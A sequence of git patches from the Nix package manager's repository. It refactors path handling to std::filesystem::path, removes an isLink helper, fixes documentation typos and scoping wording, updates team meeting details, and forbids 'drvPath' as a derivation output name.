@@ -1252,7 +1252,7 @@ StorePath LocalStore::addToStoreFromDump(
         methodsMatch
             ? dumpHash
             : hashPath(
-                {getFSSourceAccessor(), CanonPath(tempPath)},
+                PosixSourceAccessor::createAtRoot(tempPath),
                 hashMethod.getFileIngestionMethod(), hashAlgo),
         {
             .others = references,
@@ -1295,7 +1295,7 @@ StorePath LocalStore::addToStoreFromDump(
                 }
             } else {
                 /* Move the temporary path we restored above. */
-                moveFile(tempPath, realPath);
+                moveFile(tempPath.string(), realPath);
             }
 
             /* For computing the nar hash. In recursive SHA-256 mode, this
@@ -1330,9 +1330,9 @@ StorePath LocalStore::addToStoreFromDump(
 
 /* Create a temporary directory in the store that won't be
    garbage-collected until the returned FD is closed. */
-std::pair<Path, AutoCloseFD> LocalStore::createTempDirInStore()
+std::pair<std::filesystem::path, AutoCloseFD> LocalStore::createTempDirInStore()
 {
-    Path tmpDirFn;
+    std::filesystem::path tmpDirFn;
     AutoCloseFD tmpDirFd;
     bool lockedByUs = false;
     do {
@@ -1345,7 +1345,7 @@ std::pair<Path, AutoCloseFD> LocalStore::createTempDirInStore()
             continue;
         }
         lockedByUs = lockFile(tmpDirFd.get(), ltWrite, true);
-    } while (!pathExists(tmpDirFn) || !lockedByUs);
+    } while (!pathExists(tmpDirFn.string()) || !lockedByUs);
     return {tmpDirFn, std::move(tmpDirFd)};
 }
 
diff --git a/src/libstore/unix/local-store.hh b/src/libstore/unix/local-store.hh
index 15bcc826f6e..2b6e2e25f75 100644
--- a/src/libstore/unix/local-store.hh
+++ b/src/libstore/unix/local-store.hh
@@ -377,7 +377,7 @@ private:
 
     void findRuntimeRoots(Roots & roots, bool censor);
 
-    std::pair<Path, AutoCloseFD> createTempDirInStore();
+    std::pair<std::filesystem::path, AutoCloseFD> createTempDirInStore();
 
     typedef std::unordered_set<ino_t> InodeHash;
 
diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc
index 1e7469cad9d..9b7000f9f3e 100644
--- a/src/libutil/experimental-features.cc
+++ b/src/libutil/experimental-features.cc
@@ -282,7 +282,7 @@ constexpr std::array<ExperimentalFeatureDetails, numXpFeatures> xpFeatureDetails
         .tag = Xp::MountedSSHStore,
         .name = "mounted-ssh-store",
         .description = R"(
-            Allow the use of the [`mounted SSH store`](@docroot@/command-ref/new-cli/nix3-help-stores.html#experimental-ssh-store-with-filesytem-mounted).
+            Allow the use of the [`mounted SSH store`](@docroot@/command-ref/new-cli/nix3-help-stores.html#experimental-ssh-store-with-filesystem-mounted).
         )",
         .trackingUrl = "https://github.com/NixOS/nix/milestone/43",
     },
diff --git a/src/libutil/file-path.hh b/src/libutil/file-path.hh
index 6fb1001250b..6589c4060bb 100644
--- a/src/libutil/file-path.hh
+++ b/src/libutil/file-path.hh
@@ -13,9 +13,8 @@ namespace nix {
  *
  * @todo drop `NG` suffix and replace the ones in `types.hh`.
  */
-typedef std::filesystem::path PathNG;
-typedef std::list<Path> PathsNG;
-typedef std::set<Path> PathSetNG;
+typedef std::list<std::filesystem::path> PathsNG;
+typedef std::set<std::filesystem::path> PathSetNG;
 
 /**
  * Stop gap until `std::filesystem::path_view` from P1030R6 exists in a
@@ -23,18 +22,18 @@ typedef std::set<Path> PathSetNG;
  *
  * @todo drop `NG` suffix and replace the one in `types.hh`.
  */
-struct PathViewNG : std::basic_string_view<PathNG::value_type>
+struct PathViewNG : std::basic_string_view<std::filesystem::path::value_type>
 {
-    using string_view = std::basic_string_view<PathNG::value_type>;
+    using string_view = std::basic_string_view<std::filesystem::path::value_type>;
 
     using string_view::string_view;
 
-    PathViewNG(const PathNG & path)
-        : std::basic_string_view<PathNG::value_type>(path.native())
+    PathViewNG(const std::filesystem::path & path)
+        : std::basic_string_view<std::filesystem::path::value_type>(path.native())
     { }
 
-    PathViewNG(const PathNG::string_type & path)
-        : std::basic_string_view<PathNG::value_type>(path)
+    PathViewNG(const std::filesystem::path::string_type & path)
+        : std::basic_string_view<std::filesystem::path::value_type>(path)
     { }
 
     const string_view & native() const { return *this; }
@@ -43,10 +42,19 @@ struct PathViewNG : std::basic_string_view<PathNG::value_type>
 
 std::string os_string_to_string(PathViewNG::string_view path);
 
-PathNG::string_type string_to_os_string(std::string_view s);
+std::filesystem::path::string_type string_to_os_string(std::string_view s);
 
-std::optional<PathNG> maybePathNG(PathView path);
+std::optional<std::filesystem::path> maybePath(PathView path);
 
-PathNG pathNG(PathView path);
+std::filesystem::path pathNG(PathView path);
+
+/**
+ * Create string literals with the native character width of paths
+ */
+#ifndef _WIN32
+# define PATHNG_LITERAL(s) s
+#else
+# define PATHNG_LITERAL(s) L ## s
+#endif
 
 }
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index b9abcade9c8..03f64edc79f 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -228,9 +228,9 @@ bool isLink(const Path & path)
 }
 
 
-std::vector<std::filesystem::directory_entry> readDirectory(const Path & path)
+std::vector<fs::directory_entry> readDirectory(const Path & path)
 {
-    std::vector<std::filesystem::directory_entry> entries;
+    std::vector<fs::directory_entry> entries;
     entries.reserve(64);
 
     for (auto & entry : fs::directory_iterator{path}) {
@@ -342,12 +342,12 @@ void syncParent(const Path & path)
 }
 
 
-static void _deletePath(Descriptor parentfd, const Path & path, uint64_t & bytesFreed)
+static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & bytesFreed)
 {
 #ifndef _WIN32
     checkInterrupt();
 
-    std::string name(baseNameOf(path));
+    std::string name(baseNameOf(path.native()));
 
     struct stat st;
     if (fstatat(parentfd, name.c_str(), &st,
@@ -416,9 +416,9 @@ static void _deletePath(Descriptor parentfd, const Path & path, uint64_t & bytes
 #endif
 }
 
-static void _deletePath(const Path & path, uint64_t & bytesFreed)
+static void _deletePath(const fs::path & path, uint64_t & bytesFreed)
 {
-    Path dir = dirOf(path);
+    Path dir = dirOf(path.string());
     if (dir == "")
         dir = "/";
 
@@ -432,7 +432,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed)
 }
 
 
-void deletePath(const Path & path)
+void deletePath(const fs::path & path)
 {
     uint64_t dummy;
     deletePath(path, dummy);
@@ -466,7 +466,7 @@ Paths createDirs(const Path & path)
 }
 
 
-void deletePath(const Path & path, uint64_t & bytesFreed)
+void deletePath(const fs::path & path, uint64_t & bytesFreed)
 {
     //Activity act(*logger, lvlDebug, "recursively deleting path '%1%'", path);
     bytesFreed = 0;
@@ -478,7 +478,7 @@ void deletePath(const Path & path, uint64_t & bytesFreed)
 
 AutoDelete::AutoDelete() : del{false} {}
 
-AutoDelete::AutoDelete(const std::string & p, bool recursive) : path(p)
+AutoDelete::AutoDelete(const fs::path & p, bool recursive) : _path(p)
 {
     del = true;
     this->recursive = recursive;
@@ -489,10 +489,9 @@ AutoDelete::~AutoDelete()
     try {
         if (del) {
             if (recursive)
-                deletePath(path);
+                deletePath(_path);
             else {
-                if (remove(path.c_str()) == -1)
-                    throw SysError("cannot unlink '%1%'", path);
+                fs::remove(_path);
             }
         }
     } catch (...) {
@@ -505,8 +504,8 @@ void AutoDelete::cancel()
     del = false;
 }
 
-void AutoDelete::reset(const Path & p, bool recursive) {
-    path = p;
+void AutoDelete::reset(const fs::path & p, bool recursive) {
+    _path = p;
     this->recursive = recursive;
     del = true;
 }
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 2bf70327645..40ed82f02f2 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -9,6 +9,7 @@
 #include "error.hh"
 #include "logging.hh"
 #include "file-descriptor.hh"
+#include "file-path.hh"
 
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -149,9 +150,9 @@ void syncParent(const Path & path);
  * recursively. It's not an error if the path does not exist. The
  * second variant returns the number of bytes and blocks freed.
  */
-void deletePath(const Path & path);
+void deletePath(const std::filesystem::path & path);
 
-void deletePath(const Path & path, uint64_t & bytesFreed);
+void deletePath(const std::filesystem::path & path, uint64_t & bytesFreed);
 
 /**
  * Create a directory and all its parents, if necessary.  Returns the
@@ -197,17 +198,23 @@ void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
  */
 class AutoDelete
 {
-    Path path;
+    std::filesystem::path _path;
     bool del;
     bool recursive;
 public:
     AutoDelete();
-    AutoDelete(const Path & p, bool recursive = true);
+    AutoDelete(const std::filesystem::path & p, bool recursive = true);
     ~AutoDelete();
+
     void cancel();
-    void reset(const Path & p, bool recursive = true);
-    operator Path() const { return path; }
-    operator PathView() const { return path; }
+
+    void reset(const std::filesystem::path & p, bool recursive = true);
+
+    const std::filesystem::path & path() const { return _path; }
+    PathViewNG view() const { return _path; }
+
+    operator const std::filesystem::path & () const { return _path; }
+    operator PathViewNG () const { return _path; }
 };
 
 
diff --git a/src/libutil/unix/file-path.cc b/src/libutil/unix/file-path.cc
index 54a1cc278d4..294048a2f8f 100644
--- a/src/libutil/unix/file-path.cc
+++ b/src/libutil/unix/file-path.cc
@@ -13,17 +13,17 @@ std::string os_string_to_string(PathViewNG::string_view path)
     return std::string { path };
 }
 
-PathNG::string_type string_to_os_string(std::string_view s)
+std::filesystem::path::string_type string_to_os_string(std::string_view s)
 {
     return std::string { s };
 }
 
-std::optional<PathNG> maybePathNG(PathView path)
+std::optional<std::filesystem::path> maybePath(PathView path)
 {
     return { path };
 }
 
-PathNG pathNG(PathView path)
+std::filesystem::path pathNG(PathView path)
 {
     return path;
 }
diff --git a/src/libutil/windows/file-path.cc b/src/libutil/windows/file-path.cc
index d2f385f50d0..3114ac4dfa7 100644
--- a/src/libutil/windows/file-path.cc
+++ b/src/libutil/windows/file-path.cc
@@ -12,35 +12,35 @@ namespace nix {
 std::string os_string_to_string(PathViewNG::string_view path)
 {
     std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
-    return converter.to_bytes(PathNG::string_type { path });
+    return converter.to_bytes(std::filesystem::path::string_type { path });
 }
 
-PathNG::string_type string_to_os_string(std::string_view s)
+std::filesystem::path::string_type string_to_os_string(std::string_view s)
 {
     std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
     return converter.from_bytes(std::string { s });
 }
 
-std::optional<PathNG> maybePathNG(PathView path)
+std::optional<std::filesystem::path> maybePath(PathView path)
 {
     if (path.length() >= 3 && (('A' <= path[0] && path[0] <= 'Z') || ('a' <= path[0] && path[0] <= 'z')) && path[1] == ':' && WindowsPathTrait<char>::isPathSep(path[2])) {
-        PathNG::string_type sw = string_to_os_string(
+        std::filesystem::path::string_type sw = string_to_os_string(
             std::string { "\\\\?\\" } + path);
         std::replace(sw.begin(), sw.end(), '/', '\\');
         return sw;
     }
     if (path.length() >= 7 && path[0] == '\\' && path[1] == '\\' && (path[2] == '.' || path[2] == '?') && path[3] == '\\' &&
                ('A' <= path[4] && path[4] <= 'Z') && path[5] == ':' && WindowsPathTrait<char>::isPathSep(path[6])) {
-        PathNG::string_type sw = string_to_os_string(path);
+        std::filesystem::path::string_type sw = string_to_os_string(path);
         std::replace(sw.begin(), sw.end(), '/', '\\');
         return sw;
     }
-    return std::optional<PathNG::string_type>();
+    return std::optional<std::filesystem::path::string_type>();
 }
 
-PathNG pathNG(PathView path)
+std::filesystem::path pathNG(PathView path)
 {
-    std::optional<PathNG::string_type> sw = maybePathNG(path);
+    std::optional<std::filesystem::path::string_type> sw = maybePath(path);
     if (!sw) {
         // FIXME why are we not using the regular error handling?
         std::cerr << "invalid path for WinAPI call ["<<path<<"]"<<std::endl;
diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc
index 46533b34bd0..b601604dc8b 100644
--- a/src/nix-build/nix-build.cc
+++ b/src/nix-build/nix-build.cc
@@ -171,7 +171,7 @@ static void main_nix_build(int argc, char * * argv)
             ; // obsolete
 
         else if (*arg == "--no-out-link" || *arg == "--no-link")
-            outLink = (Path) tmpDir + "/result";
+            outLink = (tmpDir.path() / "result").string();
 
         else if (*arg == "--attr" || *arg == "-A")
             attrPaths.push_back(getArg(*arg, arg, end));
@@ -504,7 +504,7 @@ static void main_nix_build(int argc, char * * argv)
             if (passAsFile.count(var.first)) {
                 keepTmp = true;
                 auto fn = ".attr-" + std::to_string(fileNr++);
-                Path p = (Path) tmpDir + "/" + fn;
+                Path p = (tmpDir.path() / fn).string();
                 writeFile(p, var.second);
                 env[var.first + "Path"] = p;
             } else
@@ -536,10 +536,10 @@ static void main_nix_build(int argc, char * * argv)
                 auto json = structAttrs.value();
                 structuredAttrsRC = writeStructuredAttrsShell(json);
 
-                auto attrsJSON = (Path) tmpDir + "/.attrs.json";
+                auto attrsJSON = (tmpDir.path() / ".attrs.json").string();
                 writeFile(attrsJSON, json.dump());
 
-                auto attrsSH = (Path) tmpDir + "/.attrs.sh";
+                auto attrsSH = (tmpDir.path() / ".attrs.sh").string();
                 writeFile(attrsSH, structuredAttrsRC);
 
                 env["NIX_ATTRS_SH_FILE"] = attrsSH;
@@ -552,7 +552,7 @@ static void main_nix_build(int argc, char * * argv)
            convenience, source $stdenv/setup to setup additional
            environment variables and shell functions.  Also don't
            lose the current $PATH directories. */
-        auto rcfile = (Path) tmpDir + "/rc";
+        auto rcfile = (tmpDir.path() / "rc").string();
         std::string rc = fmt(
                 R"(_nix_shell_clean_tmpdir() { command rm -rf %1%; }; )"s +
                 (keepTmp ?
@@ -583,7 +583,7 @@ static void main_nix_build(int argc, char * * argv)
                 "unset TZ; %6%"
                 "shopt -s execfail;"
                 "%7%",
-                shellEscape(tmpDir),
+                shellEscape(tmpDir.path().string()),
                 (pure ? "" : "p=$PATH; "),
                 (pure ? "" : "PATH=$PATH:$p; unset p; "),
                 shellEscape(dirOf(*shell)),
diff --git a/src/nix/develop.cc b/src/nix/develop.cc
index f2df814d7eb..08d44d7aa80 100644
--- a/src/nix/develop.cc
+++ b/src/nix/develop.cc
@@ -336,8 +336,8 @@ struct Common : InstallableCommand, MixProfile
     std::string makeRcScript(
         ref<Store> store,
         const BuildEnvironment & buildEnvironment,
-        const Path & tmpDir,
-        const Path & outputsDir = absPath(".") + "/outputs")
+        const std::filesystem::path & tmpDir,
+        const std::filesystem::path & outputsDir = std::filesystem::path { absPath(".") } / "outputs")
     {
         // A list of colon-separated environment variables that should be
         // prepended to, rather than overwritten, in order to keep the shell usable.
@@ -376,13 +376,19 @@ struct Common : InstallableCommand, MixProfile
         StringMap rewrites;
         if (buildEnvironment.providesStructuredAttrs()) {
             for (auto & [outputName, from] : BuildEnvironment::getAssociative(outputs->second)) {
-                rewrites.insert({from, outputsDir + "/" + outputName});
+                rewrites.insert({
+                    from,
+                    (outputsDir / outputName).string()
+                });
             }
         } else {
             for (auto & outputName : BuildEnvironment::getStrings(outputs->second)) {
                 auto from = buildEnvironment.vars.find(outputName);
                 assert(from != buildEnvironment.vars.end());
-                rewrites.insert({BuildEnvironment::getString(from->second), outputsDir + "/" + outputName});
+                rewrites.insert({
+                    BuildEnvironment::getString(from->second),
+                    (outputsDir / outputName).string(),
+                });
             }
         }
 
@@ -405,7 +411,7 @@ struct Common : InstallableCommand, MixProfile
 
         if (buildEnvironment.providesStructuredAttrs()) {
             fixupStructuredAttrs(
-                "sh",
+                PATHNG_LITERAL("sh"),
                 "NIX_ATTRS_SH_FILE",
                 buildEnvironment.getAttrsSH(),
                 rewrites,
@@ -413,7 +419,7 @@ struct Common : InstallableCommand, MixProfile
                 tmpDir
             );
             fixupStructuredAttrs(
-                "json",
+                PATHNG_LITERAL("json"),
                 "NIX_ATTRS_JSON_FILE",
                 buildEnvironment.getAttrsJSON(),
                 rewrites,
@@ -430,19 +436,21 @@ struct Common : InstallableCommand, MixProfile
      * that's accessible from the interactive shell session.
      */
     void fixupStructuredAttrs(
-        const std::string & ext,
+        PathViewNG::string_view ext,
         const std::string & envVar,
         const std::string & content,
         StringMap & rewrites,
         const BuildEnvironment & buildEnvironment,
-        const Path & tmpDir)
+        const std::filesystem::path & tmpDir)
     {
-        auto targetFilePath = tmpDir + "/.attrs." + ext;
-        writeFile(targetFilePath, content);
+        auto targetFilePath = tmpDir / PATHNG_LITERAL(".attrs.");
+        targetFilePath += ext;
+
+        writeFile(targetFilePath.string(), content);
 
         auto fileInBuilderEnv = buildEnvironment.vars.find(envVar);
         assert(fileInBuilderEnv != buildEnvironment.vars.end());
-        rewrites.insert({BuildEnvironment::getString(fileInBuilderEnv->second), targetFilePath});
+        rewrites.insert({BuildEnvironment::getString(fileInBuilderEnv->second), targetFilePath.string()});
     }
 
     Strings getDefaultFlakeAttrPaths() override
@@ -578,7 +586,7 @@ struct CmdDevelop : Common, MixEnvironment
 
         AutoDelete tmpDir(createTempDir("", "nix-develop"), true);
 
-        auto script = makeRcScript(store, buildEnvironment, (Path) tmpDir);
+        auto script = makeRcScript(store, buildEnvironment, tmpDir);
 
         if (verbosity >= lvlDebug)
             script += "set -x\n";
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index cff1c79886b..e932170cf73 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -87,7 +87,7 @@ std::tuple<StorePath, Hash> prefetchFile(
     if (!storePath) {
 
         AutoDelete tmpDir(createTempDir(), true);
-        Path tmpFile = (Path) tmpDir + "/tmp";
+        std::filesystem::path tmpFile = tmpDir.path() / "tmp";
 
         /* Download the file. */
         {
@@ -95,7 +95,7 @@ std::tuple<StorePath, Hash> prefetchFile(
             if (executable)
                 mode = 0700;
 
-            AutoCloseFD fd = toDescriptor(open(tmpFile.c_str(), O_WRONLY | O_CREAT | O_EXCL, mode));
+            AutoCloseFD fd = toDescriptor(open(tmpFile.string().c_str(), O_WRONLY | O_CREAT | O_EXCL, mode));
             if (!fd) throw SysError("creating temporary file '%s'", tmpFile);
 
             FdSink sink(fd.get());
@@ -109,15 +109,15 @@ std::tuple<StorePath, Hash> prefetchFile(
         if (unpack) {
             Activity act(*logger, lvlChatty, actUnknown,
                 fmt("unpacking '%s'", url));
-            Path unpacked = (Path) tmpDir + "/unpacked";
+            auto unpacked = (tmpDir.path() / "unpacked").string();
             createDirs(unpacked);
-            unpackTarfile(tmpFile, unpacked);
+            unpackTarfile(tmpFile.string(), unpacked);
 
             /* If the archive unpacks to a single file/directory, then use
                that as the top-level. */
             auto entries = readDirectory(unpacked);
             if (entries.size() == 1)
-                tmpFile = entries[0].path().string();
+                tmpFile = entries[0].path();
             else
                 tmpFile = unpacked;
         }

From f83617f052d0251d32319939c2832a10e0d8cdd9 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 8 May 2024 14:24:23 +0800
Subject: [PATCH 099/528] fix(doc/manual/src/command-ref/nix-env/install): fix
 typo

---
 doc/manual/src/command-ref/nix-env/install.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md
index c1fff50e80f..d80bcb668f7 100644
--- a/doc/manual/src/command-ref/nix-env/install.md
+++ b/doc/manual/src/command-ref/nix-env/install.md
@@ -50,7 +50,7 @@ The arguments *args* map to store paths in a number of possible ways:
     Show the attribute paths of available packages with [`nix-env --query`](./query.md):
 
     ```console
-    nix-env --query --available --attr-path`
+    nix-env --query --available --attr-path
     ```
 
   - If `--from-profile` *path* is given, *args* is a set of names

From 52ccaf7971b90f387d7b309c9b9dc4af25d44525 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 8 May 2024 11:29:27 +0200
Subject: [PATCH 100/528] maintainers: update information on team meetings
 (#10663)

- specify meeting times in terms of a time zone rather than standard
  time (the first encompasses standard time changes)
- add information on who can participate and how
- unrelated but still important: add GitHub handle to contact the team
---
 maintainers/README.md | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/maintainers/README.md b/maintainers/README.md
index fa321c7c09f..bfa0cb5a183 100644
--- a/maintainers/README.md
+++ b/maintainers/README.md
@@ -36,11 +36,13 @@ We aim to achieve this by improving the contributor experience and attracting mo
 - Robert Hensing (@roberth)
 - John Ericson (@Ericson2314)
 
+The team is on Github as [@NixOS/nix-team](https://github.com/orgs/NixOS/teams/nix-team).
+
 ## Meeting protocol
 
-The team meets twice a week:
+The team meets twice a week (times are denoted in the [Europe/Amsterdam](https://en.m.wikipedia.org/wiki/Time_in_the_Netherlands) time zone):
 
-- Discussion meeting: [Fridays 13:00-14:00 CET](https://calendar.google.com/calendar/event?eid=MHNtOGVuNWtrZXNpZHR2bW1sM3QyN2ZjaGNfMjAyMjExMjVUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn)
+- Discussion meeting: [Wednesday 21:00-22:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=ZG5rZzNyajRjajducGV2NGY5aGkzYWIwdnJfMjAyNDA1MDhUMTkwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn)
 
   1. Triage issues and pull requests from the [No Status](#no-status) column (30 min)
   2. Discuss issues and pull requests from the [To discuss](#to-discuss) column (30 min).
@@ -49,15 +51,19 @@ The team meets twice a week:
        - mark it as draft if it is blocked on the contributor
        - escalate it back to the team by moving it to To discuss, and leaving a comment as to why the issue needs to be discussed again.
 
-- Work meeting: [Mondays 13:00-15:00 CET](https://calendar.google.com/calendar/event?eid=NTM1MG1wNGJnOGpmOTZhYms3bTB1bnY5cWxfMjAyMjExMjFUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn)
+- Work meeting: [Mondays 13:00-15:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=Ym52NDdzYnRic2NzcDcybjZiNDhpNzhpa3NfMjAyNDA1MTNUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn)
 
   1. Code review on pull requests from [In review](#in-review).
   2. Other chores and tasks.
 
 Meeting notes are collected on a [collaborative scratchpad](https://pad.lassul.us/Cv7FpYx-Ri-4VjUykQOLAw).
-Notes on issues and pull requests are posted as comments and linked from the meeting notes, so they are easy to find from both places.
+Notes on issues and pull requests are posted as comments and linked from the meeting notes, so they are can be found from both places.
 [All meeting notes](https://discourse.nixos.org/search?expanded=true&q=Nix%20team%20meeting%20minutes%20%23%20%23dev%3Anix%20in%3Atitle%20order%3Alatest_topic) are published on Discourse under the [Nix category](https://discourse.nixos.org/c/dev/nix/50).
 
+Team meetings are generally open to anyone interested.
+We can make exceptions to discuss sensitive issues, such as security incidents or people matters.
+Contact any team member to get a calendar invite for reminders and updates.
+
 ## Project board protocol
 
 The team uses a [GitHub project board](https://github.com/orgs/NixOS/projects/19/views/1) for tracking its work.

From ddea4c6debc96ea5c7836e3a4a98cf76179cb40b Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Wed, 8 May 2024 19:59:37 +0530
Subject: [PATCH 101/528] rm isLink

isLink util is removed in favour of std::filesystem::is_symlink
---
 src/libstore/indirect-root-store.cc | 3 ++-
 src/libstore/store-api.cc           | 2 +-
 src/libutil/file-system.cc          | 8 +-------
 src/libutil/file-system.hh          | 2 --
 src/nix/config-check.cc             | 2 +-
 src/nix/upgrade-nix.cc              | 2 +-
 6 files changed, 6 insertions(+), 13 deletions(-)

diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc
index 9da05778db2..082a458ab1a 100644
--- a/src/libstore/indirect-root-store.cc
+++ b/src/libstore/indirect-root-store.cc
@@ -33,8 +33,9 @@ Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _g
 
     /* Don't clobber the link if it already exists and doesn't
        point to the Nix store. */
-    if (pathExists(gcRoot) && (!isLink(gcRoot) || !isInStore(readLink(gcRoot))))
+    if (pathExists(gcRoot) && (!std::filesystem::is_symlink(gcRoot) || !isInStore(readLink(gcRoot))))
         throw Error("cannot create symlink '%1%'; already exists", gcRoot);
+
     makeSymlink(gcRoot, printStorePath(storePath));
     addIndirectRoot(gcRoot);
 
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 008cc11e712..cefb5befd98 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -54,7 +54,7 @@ Path Store::followLinksToStore(std::string_view _path) const
 {
     Path path = absPath(std::string(_path));
     while (!isInStore(path)) {
-        if (!isLink(path)) break;
+        if (!std::filesystem::is_symlink(path)) break;
         auto target = readLink(path);
         path = absPath(target, dirOf(path));
     }
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 03f64edc79f..47251dbd7a4 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -94,7 +94,7 @@ Path canonPath(PathView path, bool resolveSymlinks)
         path,
         [&followCount, &temp, maxFollow, resolveSymlinks]
         (std::string & result, std::string_view & remaining) {
-            if (resolveSymlinks && isLink(result)) {
+            if (resolveSymlinks && std::filesystem::is_symlink(result)) {
                 if (++followCount >= maxFollow)
                     throw Error("infinite symlink recursion in path '%0%'", remaining);
                 remaining = (temp = concatStrings(readLink(result), remaining));
@@ -222,12 +222,6 @@ Path readLink(const Path & path)
 }
 
 
-bool isLink(const Path & path)
-{
-    return getFileType(path) == fs::file_type::symlink;
-}
-
-
 std::vector<fs::directory_entry> readDirectory(const Path & path)
 {
     std::vector<fs::directory_entry> entries;
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 40ed82f02f2..5a068810497 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -117,8 +117,6 @@ bool pathAccessible(const Path & path);
  */
 Path readLink(const Path & path);
 
-bool isLink(const Path & path);
-
 /**
  * Read the contents of a directory.  The entries `.` and `..` are
  * removed.
diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc
index f23e36fb5b3..9575bf33887 100644
--- a/src/nix/config-check.cc
+++ b/src/nix/config-check.cc
@@ -101,7 +101,7 @@ struct CmdConfigCheck : StoreCommand
                 Path userEnv = canonPath(profileDir, true);
 
                 if (store->isStorePath(userEnv) && hasSuffix(userEnv, "user-environment")) {
-                    while (profileDir.find("/profiles/") == std::string::npos && isLink(profileDir))
+                    while (profileDir.find("/profiles/") == std::string::npos && std::filesystem::is_symlink(profileDir))
                         profileDir = absPath(readLink(profileDir), dirOf(profileDir));
 
                     if (profileDir.find("/profiles/") == std::string::npos)
diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc
index a64b6a56edd..17d1edb97e3 100644
--- a/src/nix/upgrade-nix.cc
+++ b/src/nix/upgrade-nix.cc
@@ -121,7 +121,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand
         Path profileDir = dirOf(where);
 
         // Resolve profile to /nix/var/nix/profiles/<name> link.
-        while (canonPath(profileDir).find("/profiles/") == std::string::npos && isLink(profileDir))
+        while (canonPath(profileDir).find("/profiles/") == std::string::npos && std::filesystem::is_symlink(profileDir))
             profileDir = readLink(profileDir);
 
         printInfo("found profile '%s'", profileDir);

From a5252c99794a81730b030a8fcc356e1f74537198 Mon Sep 17 00:00:00 2001
From: John Ericson <git@JohnEricson.me>
Date: Wed, 8 May 2024 11:18:17 -0400
Subject: [PATCH 102/528] doc: Reword scoping section

"dynamic scope" is not accurate, so reword. The underlying idea is good however.
---
 doc/manual/src/language/constructs.md | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md
index ad1fdfe5f7f..4d75ea82c85 100644
--- a/doc/manual/src/language/constructs.md
+++ b/doc/manual/src/language/constructs.md
@@ -423,14 +423,15 @@ inline/multi-line, enclosed within `/* ... */`.
 
 ## Scoping rules
 
-Nix has constructs with
+Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope), but with multiple scopes and shadowing rules.
 
-* dynamic scope
-  * [`with`](#with-expressions)
-* static scope
+* primary scope --- explicitly-bound variables
   * [`let`](#let-expressions)
   * [`inherit`](#inheriting-attributes)
   * function arguments
 
-Static scope takes precedence over dynamic scope.
+* secondary scope --- implicitly-bound variables
+  * [`with`](#with-expressions)
+  
+Primary scope takes precedence over secondary scope.
 See [`with`](#with-expressions) for a detailed example.

From 081faeda8cbd3f8a14775c2d3ad0ae2a76d88673 Mon Sep 17 00:00:00 2001
From: Ivan Trubach <mr.trubach@icloud.com>
Date: Wed, 8 May 2024 18:09:51 +0300
Subject: [PATCH 103/528] Forbid drvPath in strictDerivation outputs attribute

builtins.strictDerivation returns an attribute set with drvPath and
output paths. For some reason, current implementation forbids drv
instead of drvPath.
---
 src/libexpr/primops.cc             |  10 +-
 tests/unit/libexpr/error_traces.cc | 200 ++++++++++++++++++++---------
 2 files changed, 145 insertions(+), 65 deletions(-)

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 109127d1d56..6b947b40d48 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1184,11 +1184,11 @@ static void derivationStrictInternal(
                         .debugThrow();
                 /* !!! Check whether j is a valid attribute
                    name. */
-                /* Derivations cannot be named ‘drv’, because
-                   then we'd have an attribute ‘drvPath’ in
-                   the resulting set. */
-                if (j == "drv")
-                    state.error<EvalError>("invalid derivation output name 'drv'")
+                /* Derivations cannot be named ‘drvPath’, because
+                   we already have an attribute ‘drvPath’ in
+                   the resulting set (see state.sDrvPath). */
+                if (j == "drvPath")
+                    state.error<EvalError>("invalid derivation output name 'drvPath'")
                         .atPos(v)
                         .debugThrow();
                 outputs.insert(j);
diff --git a/tests/unit/libexpr/error_traces.cc b/tests/unit/libexpr/error_traces.cc
index 7b32b320bac..be379a90993 100644
